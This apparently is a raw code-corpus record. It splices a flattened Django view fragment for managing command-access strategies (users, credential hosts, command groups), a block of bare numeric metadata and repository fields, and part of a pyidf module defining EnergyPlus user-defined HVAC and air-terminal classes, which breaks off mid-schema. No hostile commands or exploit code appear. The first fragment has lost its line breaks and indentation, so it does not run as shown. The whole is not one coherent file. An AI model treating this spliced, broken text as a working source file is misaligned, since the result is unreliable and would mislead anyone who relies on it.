_create_command_strategy_credential_host(self, form, strategy_query): credential_info = form.cleaned_data["credential_host"] password_credential_host_id = credential_info.get("password_credential_host_id", []) ssh_credential_host_id = credential_info.get("ssh_credential_host_id", []) credential_group = credential_info.get("credential_group", []) try: if password_credential_host_id: for _credential_host in password_credential_host_id: StrategyCommandCredentialHostModel.objects.get_or_create(**{ "strategy_command": strategy_query, "credential_host_id": _credential_host }) if ssh_credential_host_id: for _credential_host in ssh_credential_host_id: StrategyCommandCredentialHostModel.objects.get_or_create(**{ "strategy_command": strategy_query, "credential_host_id": _credential_host }) if credential_group: for _credential_group in credential_group: StrategyCommandCredentialHostModel.objects.get_or_create(**{ "strategy_command": strategy_query, "credential_group_id": _credential_group }) return True except Exception as e: error_info = "[ERROR] Create access strategy user error: {}, param: {}".format(str(e), str(credential_info)) app_logging.error(error_info) # print(error_info) return False def _clean_relationship(self, query: StrategyCommandModel): user_relationships = query.strategy_command_user_or_user_group.get_queryset() for user_relationship in user_relationships: user_relationship.delete() host_credential_relationships = query.new_strategy_command_credential_or_credential_group.get_queryset() for host_credential_relationship in host_credential_relationships: host_credential_relationship.delete() command_relationships = query.strategy_command_or_group.get_queryset() for command_relationship in command_relationships: command_relationship.delete() def create_command_strategy(self, request): """ { "strategy": { "name": "", "start_time": "", "end_time": "", "login_time_limit": [ {"week": 1, "time": [1, 2, 3, 4]}, {"week": 2, "time": [1, 2, 3, 4]}, {"week": 3, "time": [1, 2, 3, 4]}, ] }, "command": { "command": [1, 2], "command_group": [1, 2] }, "user": { "user": [1, 2] # 用户id "user_group": [1] # 用户组id 与用户不共存 }, "credential_host": { "password_credential_host_id": [1, 2], "ssh_credential_host_id": [1, 2], "credential_group": [1, 2] } } """ data = json.loads(request.body) form = CommandStrategyV2Form(data) if form.is_valid(): status, message, query = self.check_unique(StrategyCommandModel, { "name": form.cleaned_data["strategy"].get("name") }) if not status: create_user = GetUserInfo().get_user_info(request) create_command_strategy_status, query = self._create_or_update_command_strategy(form, create_user) create_command_strategy_command_status = self._create_command_strategy_command(form, query) create_command_strategy_user_status = self._create_command_strategy_user(form, query) create_command_strategy_credential_status = self._create_command_strategy_credential_host(form, query) if create_command_strategy_status and create_command_strategy_user_status \ and create_command_strategy_credential_status and create_command_strategy_command_status: return JsonResponse(success(SuccessStatusCode.MESSAGE_CREATE_SUCCESS, query.to_all_dict())) return JsonResponse(error(ErrorStatusCode.SERVER_ERROR)) return JsonResponse(error(ErrorStatusCode.INPUT_ERROR, custom_message="策略名称已存在")) return JsonResponse(error(ErrorStatusCode.INPUT_ERROR, custom_message=first_error_message(form))) def update_command_strategy(self, request): data = json.loads(request.body) form = CommandStrategyV2Form(data) if form.is_valid(): status, message, query = self.check_unique(StrategyCommandModel, { "id": form.cleaned_data["strategy"].get("id") }) if status: update_access_strategy_status, query = self._create_or_update_command_strategy(form, query=query) if update_access_strategy_status: # 清除所有关联关系 self._clean_relationship(query) create_access_strategy_user_status = self._create_command_strategy_user(form, query) create_command_strategy_command_status = self._create_command_strategy_command(form, query) create_access_strategy_credential_status = self._create_command_strategy_credential_host(form, query) if create_access_strategy_credential_status and update_access_strategy_status \ and create_access_strategy_user_status and create_command_strategy_command_status: return JsonResponse(success(SuccessStatusCode.MESSAGE_UPDATE_SUCCESS, query.to_all_dict())) return JsonResponse(error(ErrorStatusCode.SERVER_ERROR)) return JsonResponse(error(ErrorStatusCode.INPUT_ERROR, custom_message="没有找到对应的信息")) return JsonResponse(error(ErrorStatusCode.INPUT_ERROR, custom_message=first_error_message(form))) def delete_command_strategy(self, request): data = json.loads(request.body) id = data.get("id") status, message, query = self.check_unique(StrategyCommandModel, {"id": id}) if status: query.delete() return JsonResponse(success(SuccessStatusCode.MESSAGE_DELETE_SUCCESS)) return JsonResponse(error(ErrorStatusCode.INPUT_ERROR, custom_message=message))
50.505543
121
0.612038
2,291
22,778
5.72021
0.061982
0.054483
0.042732
0.046395
0.860053
0.84235
0.830065
0.821519
0.797787
0.759023
0
0.004259
0.299017
22,778
450
122
50.617778
0.816497
0.067609
0
0.715877
0
0
0.080764
0.004714
0
0
0
0
0
1
0.058496
false
0.019499
0.02507
0
0.222841
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
5ffd7e0935d2be7522e9a101927f71c32db66964
130,460
py
Python
pyidf/user_defined_hvac_and_plant_component_models.py
marcelosalles/pyidf
c2f744211572b5e14e29522aac1421ba88addb0e
[ "Apache-2.0" ]
19
2015-12-08T23:33:51.000Z
2022-01-31T04:41:10.000Z
pyidf/user_defined_hvac_and_plant_component_models.py
marcelosalles/pyidf
c2f744211572b5e14e29522aac1421ba88addb0e
[ "Apache-2.0" ]
2
2019-10-04T10:57:00.000Z
2021-10-01T06:46:17.000Z
pyidf/user_defined_hvac_and_plant_component_models.py
marcelosalles/pyidf
c2f744211572b5e14e29522aac1421ba88addb0e
[ "Apache-2.0" ]
7
2015-11-04T02:25:01.000Z
2021-12-08T03:14:28.000Z
""" Data objects in group "User Defined HVAC and Plant Component Models" """ from collections import OrderedDict import logging from pyidf.helper import DataObject logger = logging.getLogger("pyidf") logger.addHandler(logging.NullHandler()) class ZoneHvacForcedAirUserDefined(DataObject): """ Corresponds to IDD object `ZoneHVAC:ForcedAir:UserDefined` Defines a generic zone air unit for custom modeling using Energy Management System or External Interface """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'overall model simulation program calling manager name', {'name': u'Overall Model Simulation Program Calling Manager Name', 'pyname': u'overall_model_simulation_program_calling_manager_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'model setup and sizing program calling manager name', {'name': u'Model Setup and Sizing Program Calling Manager Name', 'pyname': u'model_setup_and_sizing_program_calling_manager_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'primary air inlet node name', {'name': u'Primary Air Inlet Node Name', 'pyname': u'primary_air_inlet_node_name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'node'}), (u'primary air outlet node name', {'name': u'Primary Air Outlet Node Name', 'pyname': u'primary_air_outlet_node_name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'node'}), (u'secondary air inlet node name', {'name': u'Secondary Air Inlet Node Name', 'pyname': u'secondary_air_inlet_node_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'node'}), (u'secondary air outlet node name', {'name': u'Secondary Air Outlet Node Name', 'pyname': u'secondary_air_outlet_node_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'node'}), (u'number of plant loop connections', {'name': u'Number of Plant Loop Connections', 'pyname': u'number_of_plant_loop_connections', 'maximum': 3, 'required-field': True, 'autosizable': False, 'minimum': 0, 'autocalculatable': False, 'type': u'integer'}), (u'plant connection 1 inlet node name', {'name': u'Plant Connection 1 Inlet Node Name', 'pyname': u'plant_connection_1_inlet_node_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'node'}), (u'plant connection 1 outlet node name', {'name': u'Plant Connection 1 Outlet Node Name', 'pyname': u'plant_connection_1_outlet_node_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'node'}), (u'plant connection 2 inlet node name', {'name': u'Plant Connection 2 Inlet Node Name', 'pyname': u'plant_connection_2_inlet_node_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'node'}), (u'plant connection 2 outlet node name', {'name': u'Plant Connection 2 Outlet Node Name', 'pyname': u'plant_connection_2_outlet_node_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'node'}), (u'plant connection 3 inlet node name', {'name': u'Plant Connection 3 Inlet Node Name', 'pyname': u'plant_connection_3_inlet_node_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'node'}), (u'plant connection 3 outlet node name', {'name': u'Plant Connection 3 Outlet Node Name', 'pyname': u'plant_connection_3_outlet_node_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'node'}), (u'supply inlet water storage tank name', {'name': u'Supply Inlet Water Storage Tank Name', 'pyname': u'supply_inlet_water_storage_tank_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'collection outlet water storage tank name', {'name': u'Collection Outlet Water Storage Tank Name', 'pyname': u'collection_outlet_water_storage_tank_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'ambient zone name', {'name': u'Ambient Zone Name', 'pyname': u'ambient_zone_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'})]), 'format': None, 'group': u'User Defined HVAC and Plant Component Models', 'min-fields': 8, 'name': u'ZoneHVAC:ForcedAir:UserDefined', 'pyname': u'ZoneHvacForcedAirUserDefined', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` | This is the name of the zone unit Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def overall_model_simulation_program_calling_manager_name(self): """field `Overall Model Simulation Program Calling Manager Name` Args: value (str): value for IDD Field `Overall Model Simulation Program Calling Manager Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `overall_model_simulation_program_calling_manager_name` or None if not set """ return self["Overall Model Simulation Program Calling Manager Name"] @overall_model_simulation_program_calling_manager_name.setter def overall_model_simulation_program_calling_manager_name( self, value=None): """Corresponds to IDD field `Overall Model Simulation Program Calling Manager Name`""" self["Overall Model Simulation Program Calling Manager Name"] = value @property def model_setup_and_sizing_program_calling_manager_name(self): """field `Model Setup and Sizing Program Calling Manager Name` Args: value (str): value for IDD Field `Model Setup and Sizing Program Calling Manager Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `model_setup_and_sizing_program_calling_manager_name` or None if not set """ return self["Model Setup and Sizing Program Calling Manager Name"] @model_setup_and_sizing_program_calling_manager_name.setter def model_setup_and_sizing_program_calling_manager_name(self, value=None): """Corresponds to IDD field `Model Setup and Sizing Program Calling Manager Name`""" self["Model Setup and Sizing Program Calling Manager Name"] = value @property def primary_air_inlet_node_name(self): """field `Primary Air Inlet Node Name` | Air inlet node for the unit must be a zone air exhaust Node. Args: value (str): value for IDD Field `Primary Air Inlet Node Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `primary_air_inlet_node_name` or None if not set """ return self["Primary Air Inlet Node Name"] @primary_air_inlet_node_name.setter def primary_air_inlet_node_name(self, value=None): """Corresponds to IDD field `Primary Air Inlet Node Name`""" self["Primary Air Inlet Node Name"] = value @property def primary_air_outlet_node_name(self): """field `Primary Air Outlet Node Name` | Air outlet node for the unit must be a zone air inlet node. Args: value (str): value for IDD Field `Primary Air Outlet Node Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `primary_air_outlet_node_name` or None if not set """ return self["Primary Air Outlet Node Name"] @primary_air_outlet_node_name.setter def primary_air_outlet_node_name(self, value=None): """Corresponds to IDD field `Primary Air Outlet Node Name`""" self["Primary Air Outlet Node Name"] = value @property def secondary_air_inlet_node_name(self): """field `Secondary Air Inlet Node Name` | Inlet air used for heat rejection or air source Args: value (str): value for IDD Field `Secondary Air Inlet Node Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `secondary_air_inlet_node_name` or None if not set """ return self["Secondary Air Inlet Node Name"] @secondary_air_inlet_node_name.setter def secondary_air_inlet_node_name(self, value=None): """Corresponds to IDD field `Secondary Air Inlet Node Name`""" self["Secondary Air Inlet Node Name"] = value @property def secondary_air_outlet_node_name(self): """field `Secondary Air Outlet Node Name` | Outlet air used for heat rejection or air source Args: value (str): value for IDD Field `Secondary Air Outlet Node Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `secondary_air_outlet_node_name` or None if not set """ return self["Secondary Air Outlet Node Name"] @secondary_air_outlet_node_name.setter def secondary_air_outlet_node_name(self, value=None): """Corresponds to IDD field `Secondary Air Outlet Node Name`""" self["Secondary Air Outlet Node Name"] = value @property def number_of_plant_loop_connections(self): """field `Number of Plant Loop Connections` | value <= 3 Args: value (int): value for IDD Field `Number of Plant Loop Connections` Raises: ValueError: if `value` is not a valid value Returns: int: the value of `number_of_plant_loop_connections` or None if not set """ return self["Number of Plant Loop Connections"] @number_of_plant_loop_connections.setter def number_of_plant_loop_connections(self, value=None): """Corresponds to IDD field `Number of Plant Loop Connections`""" self["Number of Plant Loop Connections"] = value @property def plant_connection_1_inlet_node_name(self): """field `Plant Connection 1 Inlet Node Name` Args: value (str): value for IDD Field `Plant Connection 1 Inlet Node Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `plant_connection_1_inlet_node_name` or None if not set """ return self["Plant Connection 1 Inlet Node Name"] @plant_connection_1_inlet_node_name.setter def plant_connection_1_inlet_node_name(self, value=None): """Corresponds to IDD field `Plant Connection 1 Inlet Node Name`""" self["Plant Connection 1 Inlet Node Name"] = value @property def plant_connection_1_outlet_node_name(self): """field `Plant Connection 1 Outlet Node Name` Args: value (str): value for IDD Field `Plant Connection 1 Outlet Node Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `plant_connection_1_outlet_node_name` or None if not set """ return self["Plant Connection 1 Outlet Node Name"] @plant_connection_1_outlet_node_name.setter def plant_connection_1_outlet_node_name(self, value=None): """Corresponds to IDD field `Plant Connection 1 Outlet Node Name`""" self["Plant Connection 1 Outlet Node Name"] = value @property def plant_connection_2_inlet_node_name(self): """field `Plant Connection 2 Inlet Node Name` Args: value (str): value for IDD Field `Plant Connection 2 Inlet Node Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `plant_connection_2_inlet_node_name` or None if not set """ return self["Plant Connection 2 Inlet Node Name"] @plant_connection_2_inlet_node_name.setter def plant_connection_2_inlet_node_name(self, value=None): """Corresponds to IDD field `Plant Connection 2 Inlet Node Name`""" self["Plant Connection 2 Inlet Node Name"] = value @property def plant_connection_2_outlet_node_name(self): """field `Plant Connection 2 Outlet Node Name` Args: value (str): value for IDD Field `Plant Connection 2 Outlet Node Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `plant_connection_2_outlet_node_name` or None if not set """ return self["Plant Connection 2 Outlet Node Name"] @plant_connection_2_outlet_node_name.setter def plant_connection_2_outlet_node_name(self, value=None): """Corresponds to IDD field `Plant Connection 2 Outlet Node Name`""" self["Plant Connection 2 Outlet Node Name"] = value @property def plant_connection_3_inlet_node_name(self): """field `Plant Connection 3 Inlet Node Name` Args: value (str): value for IDD Field `Plant Connection 3 Inlet Node Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `plant_connection_3_inlet_node_name` or None if not set """ return self["Plant Connection 3 Inlet Node Name"] @plant_connection_3_inlet_node_name.setter def plant_connection_3_inlet_node_name(self, value=None): """Corresponds to IDD field `Plant Connection 3 Inlet Node Name`""" self["Plant Connection 3 Inlet Node Name"] = value @property def plant_connection_3_outlet_node_name(self): """field `Plant Connection 3 Outlet Node Name` Args: value (str): value for IDD Field `Plant Connection 3 Outlet Node Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `plant_connection_3_outlet_node_name` or None if not set """ return self["Plant Connection 3 Outlet Node Name"] @plant_connection_3_outlet_node_name.setter def plant_connection_3_outlet_node_name(self, value=None): """Corresponds to IDD field `Plant Connection 3 Outlet Node Name`""" self["Plant Connection 3 Outlet Node Name"] = value @property def supply_inlet_water_storage_tank_name(self): """field `Supply Inlet Water Storage Tank Name` | Water use storage tank for alternate source of water consumed by device Args: value (str): value for IDD Field `Supply Inlet Water Storage Tank Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `supply_inlet_water_storage_tank_name` or None if not set """ return self["Supply Inlet Water Storage Tank Name"] @supply_inlet_water_storage_tank_name.setter def supply_inlet_water_storage_tank_name(self, value=None): """Corresponds to IDD field `Supply Inlet Water Storage Tank Name`""" self["Supply Inlet Water Storage Tank Name"] = value @property def collection_outlet_water_storage_tank_name(self): """field `Collection Outlet Water Storage Tank Name` | Water use storage tank for collection of condensate by device Args: value (str): value for IDD Field `Collection Outlet Water Storage Tank Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `collection_outlet_water_storage_tank_name` or None if not set """ return self["Collection Outlet Water Storage Tank Name"] @collection_outlet_water_storage_tank_name.setter def collection_outlet_water_storage_tank_name(self, value=None): """Corresponds to IDD field `Collection Outlet Water Storage Tank Name`""" self["Collection Outlet Water Storage Tank Name"] = value @property def ambient_zone_name(self): """field `Ambient Zone Name` | Used for modeling device losses to surrounding zone Args: value (str): value for IDD Field `Ambient Zone Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `ambient_zone_name` or None if not set """ return self["Ambient Zone Name"] @ambient_zone_name.setter def ambient_zone_name(self, value=None): """Corresponds to IDD field `Ambient Zone Name`""" self["Ambient Zone Name"] = value class AirTerminalSingleDuctUserDefined(DataObject): """ Corresponds to IDD object `AirTerminal:SingleDuct:UserDefined` Defines a generic single duct air terminal unit for custom modeling using Energy Management System or External Interface """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'overall model simulation program calling manager name', {'name': u'Overall Model Simulation Program Calling Manager Name', 'pyname': u'overall_model_simulation_program_calling_manager_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'model setup and sizing program calling manager name', {'name': u'Model Setup and Sizing Program Calling Manager Name', 'pyname': u'model_setup_and_sizing_program_calling_manager_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'primary air inlet node name', {'name': u'Primary Air Inlet Node Name', 'pyname': u'primary_air_inlet_node_name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'node'}), (u'primary air outlet node name', {'name': u'Primary Air Outlet Node Name', 'pyname': u'primary_air_outlet_node_name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'node'}), (u'secondary air inlet node name', {'name': u'Secondary Air Inlet Node Name', 'pyname': u'secondary_air_inlet_node_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'node'}), (u'secondary air outlet node name', {'name': u'Secondary Air Outlet Node Name', 'pyname': u'secondary_air_outlet_node_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'node'}), (u'number of plant loop connections', {'name': u'Number of Plant Loop Connections', 'pyname': u'number_of_plant_loop_connections', 'maximum': 2, 'required-field': True, 'autosizable': False, 'minimum': 0, 'autocalculatable': False, 'type': u'integer'}), (u'plant connection 1 inlet node name', {'name': u'Plant Connection 1 Inlet Node Name', 'pyname': u'plant_connection_1_inlet_node_name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'node'}), (u'plant connection 1 outlet node name', {'name': u'Plant Connection 1 Outlet Node Name', 'pyname': u'plant_connection_1_outlet_node_name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'node'}), (u'plant connection 2 inlet node name', {'name': u'Plant Connection 2 Inlet Node Name', 'pyname': u'plant_connection_2_inlet_node_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'node'}), (u'plant connection 2 outlet node name', {'name': u'Plant Connection 2 Outlet Node Name', 'pyname': u'plant_connection_2_outlet_node_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'node'}), (u'supply inlet water storage tank name', {'name': u'Supply Inlet Water Storage Tank Name', 'pyname': u'supply_inlet_water_storage_tank_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'collection outlet water storage tank name', {'name': u'Collection Outlet Water Storage Tank Name', 'pyname': u'collection_outlet_water_storage_tank_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'ambient zone name', {'name': u'Ambient Zone Name', 'pyname': u'ambient_zone_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'})]), 'format': None, 'group': u'User Defined HVAC and Plant Component Models', 'min-fields': 8, 'name': u'AirTerminal:SingleDuct:UserDefined', 'pyname': u'AirTerminalSingleDuctUserDefined', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` | This is the name of the air terminal Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def overall_model_simulation_program_calling_manager_name(self): """field `Overall Model Simulation Program Calling Manager Name` Args: value (str): value for IDD Field `Overall Model Simulation Program Calling Manager Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `overall_model_simulation_program_calling_manager_name` or None if not set """ return self["Overall Model Simulation Program Calling Manager Name"] @overall_model_simulation_program_calling_manager_name.setter def overall_model_simulation_program_calling_manager_name( self, value=None): """Corresponds to IDD field `Overall Model Simulation Program Calling Manager Name`""" self["Overall Model Simulation Program Calling Manager Name"] = value @property def model_setup_and_sizing_program_calling_manager_name(self): """field `Model Setup and Sizing Program Calling Manager Name` Args: value (str): value for IDD Field `Model Setup and Sizing Program Calling Manager Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `model_setup_and_sizing_program_calling_manager_name` or None if not set """ return self["Model Setup and Sizing Program Calling Manager Name"] @model_setup_and_sizing_program_calling_manager_name.setter def model_setup_and_sizing_program_calling_manager_name(self, value=None): """Corresponds to IDD field `Model Setup and Sizing Program Calling Manager Name`""" self["Model Setup and Sizing Program Calling Manager Name"] = value @property def primary_air_inlet_node_name(self): """field `Primary Air Inlet Node Name` | Air inlet node for the unit must be a zone splitter outlet. Args: value (str): value for IDD Field `Primary Air Inlet Node Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `primary_air_inlet_node_name` or None if not set """ return self["Primary Air Inlet Node Name"] @primary_air_inlet_node_name.setter def primary_air_inlet_node_name(self, value=None): """Corresponds to IDD field `Primary Air Inlet Node Name`""" self["Primary Air Inlet Node Name"] = value @property def primary_air_outlet_node_name(self): """field `Primary Air Outlet Node Name` | Air outlet node for the unit must be a zone air inlet node. Args: value (str): value for IDD Field `Primary Air Outlet Node Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `primary_air_outlet_node_name` or None if not set """ return self["Primary Air Outlet Node Name"] @primary_air_outlet_node_name.setter def primary_air_outlet_node_name(self, value=None): """Corresponds to IDD field `Primary Air Outlet Node Name`""" self["Primary Air Outlet Node Name"] = value @property def secondary_air_inlet_node_name(self): """field `Secondary Air Inlet Node Name` | Inlet air used for heat rejection or air source Args: value (str): value for IDD Field `Secondary Air Inlet Node Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `secondary_air_inlet_node_name` or None if not set """ return self["Secondary Air Inlet Node Name"] @secondary_air_inlet_node_name.setter def secondary_air_inlet_node_name(self, value=None): """Corresponds to IDD field `Secondary Air Inlet Node Name`""" self["Secondary Air Inlet Node Name"] = value @property def secondary_air_outlet_node_name(self): """field `Secondary Air Outlet Node Name` | Outlet air used for heat rejection or air source Args: value (str): value for IDD Field `Secondary Air Outlet Node Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `secondary_air_outlet_node_name` or None if not set """ return self["Secondary Air Outlet Node Name"] @secondary_air_outlet_node_name.setter def secondary_air_outlet_node_name(self, value=None): """Corresponds to IDD field `Secondary Air Outlet Node Name`""" self["Secondary Air Outlet Node Name"] = value @property def number_of_plant_loop_connections(self): """field `Number of Plant Loop Connections` | value <= 2 Args: value (int): value for IDD Field `Number of Plant Loop Connections` Raises: ValueError: if `value` is not a valid value Returns: int: the value of `number_of_plant_loop_connections` or None if not set """ return self["Number of Plant Loop Connections"] @number_of_plant_loop_connections.setter def number_of_plant_loop_connections(self, value=None): """Corresponds to IDD field `Number of Plant Loop Connections`""" self["Number of Plant Loop Connections"] = value @property def plant_connection_1_inlet_node_name(self): """field `Plant Connection 1 Inlet Node Name` Args: value (str): value for IDD Field `Plant Connection 1 Inlet Node Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `plant_connection_1_inlet_node_name` or None if not set """ return self["Plant Connection 1 Inlet Node Name"] @plant_connection_1_inlet_node_name.setter def plant_connection_1_inlet_node_name(self, value=None): """Corresponds to IDD field `Plant Connection 1 Inlet Node Name`""" self["Plant Connection 1 Inlet Node Name"] = value @property def plant_connection_1_outlet_node_name(self): """field `Plant Connection 1 Outlet Node Name` Args: value (str): value for IDD Field `Plant Connection 1 Outlet Node Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `plant_connection_1_outlet_node_name` or None if not set """ return self["Plant Connection 1 Outlet Node Name"] @plant_connection_1_outlet_node_name.setter def plant_connection_1_outlet_node_name(self, value=None): """Corresponds to IDD field `Plant Connection 1 Outlet Node Name`""" self["Plant Connection 1 Outlet Node Name"] = value @property def plant_connection_2_inlet_node_name(self): """field `Plant Connection 2 Inlet Node Name` Args: value (str): value for IDD Field `Plant Connection 2 Inlet Node Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `plant_connection_2_inlet_node_name` or None if not set """ return self["Plant Connection 2 Inlet Node Name"] @plant_connection_2_inlet_node_name.setter def plant_connection_2_inlet_node_name(self, value=None): """Corresponds to IDD field `Plant Connection 2 Inlet Node Name`""" self["Plant Connection 2 Inlet Node Name"] = value @property def plant_connection_2_outlet_node_name(self): """field `Plant Connection 2 Outlet Node Name` Args: value (str): value for IDD Field `Plant Connection 2 Outlet Node Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `plant_connection_2_outlet_node_name` or None if not set """ return self["Plant Connection 2 Outlet Node Name"] @plant_connection_2_outlet_node_name.setter def plant_connection_2_outlet_node_name(self, value=None): """Corresponds to IDD field `Plant Connection 2 Outlet Node Name`""" self["Plant Connection 2 Outlet Node Name"] = value @property def supply_inlet_water_storage_tank_name(self): """field `Supply Inlet Water Storage Tank Name` | Water use storage tank for alternate source of water consumed by device Args: value (str): value for IDD Field `Supply Inlet Water Storage Tank Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `supply_inlet_water_storage_tank_name` or None if not set """ return self["Supply Inlet Water Storage Tank Name"] @supply_inlet_water_storage_tank_name.setter def supply_inlet_water_storage_tank_name(self, value=None): """Corresponds to IDD field `Supply Inlet Water Storage Tank Name`""" self["Supply Inlet Water Storage Tank Name"] = value @property def collection_outlet_water_storage_tank_name(self): """field `Collection Outlet Water Storage Tank Name` | Water use storage tank for collection of condensate by device Args: value (str): value for IDD Field `Collection Outlet Water Storage Tank Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `collection_outlet_water_storage_tank_name` or None if not set """ return self["Collection Outlet Water Storage Tank Name"] @collection_outlet_water_storage_tank_name.setter def collection_outlet_water_storage_tank_name(self, value=None): """Corresponds to IDD field `Collection Outlet Water Storage Tank Name`""" self["Collection Outlet Water Storage Tank Name"] = value @property def ambient_zone_name(self): """field `Ambient Zone Name` | Used for modeling device losses to surrounding zone Args: value (str): value for IDD Field `Ambient Zone Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `ambient_zone_name` or None if not set """ return self["Ambient Zone Name"] @ambient_zone_name.setter def ambient_zone_name(self, value=None): """Corresponds to IDD field `Ambient Zone Name`""" self["Ambient Zone Name"] = value class CoilUserDefined(DataObject): """ Corresponds to IDD object `Coil:UserDefined` Defines a generic air system component for custom modeling using Energy Management System or External Interface """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'overall model simulation program calling manager name', {'name': u'Overall Model Simulation Program Calling Manager Name', 'pyname': u'overall_model_simulation_program_calling_manager_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'model setup and sizing program calling manager name', {'name': u'Model Setup and Sizing Program Calling Manager Name', 'pyname': u'model_setup_and_sizing_program_calling_manager_name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'number of air connections', {'name': u'Number of Air Connections', 'pyname': u'number_of_air_connections', 'maximum': 2, 'required-field': True, 'autosizable': False, 'minimum': 1, 'autocalculatable': False, 'type': u'integer'}), (u'air connection 1 inlet node name', {'name': u'Air Connection 1 Inlet Node Name', 'pyname': u'air_connection_1_inlet_node_name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'node'}), (u'air connection 1 outlet node name', {'name': u'Air Connection 1 Outlet Node Name', 'pyname': u'air_connection_1_outlet_node_name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'node'}), (u'air connection 2 inlet node name', {'name': u'Air Connection 2 Inlet Node Name', 'pyname': u'air_connection_2_inlet_node_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'node'}), (u'air connection 2 outlet node name', {'name': u'Air Connection 2 Outlet Node Name', 'pyname': u'air_connection_2_outlet_node_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'node'}), (u'plant connection is used', {'name': u'Plant Connection is Used', 'pyname': u'plant_connection_is_used', 'required-field': False, 'autosizable': False, 'accepted-values': [u'Yes', u'No'], 'autocalculatable': False, 'type': 'alpha'}), (u'plant connection inlet node name', {'name': u'Plant Connection Inlet Node Name', 'pyname': u'plant_connection_inlet_node_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'node'}), (u'plant connection outlet node name', {'name': u'Plant Connection Outlet Node Name', 'pyname': u'plant_connection_outlet_node_name', 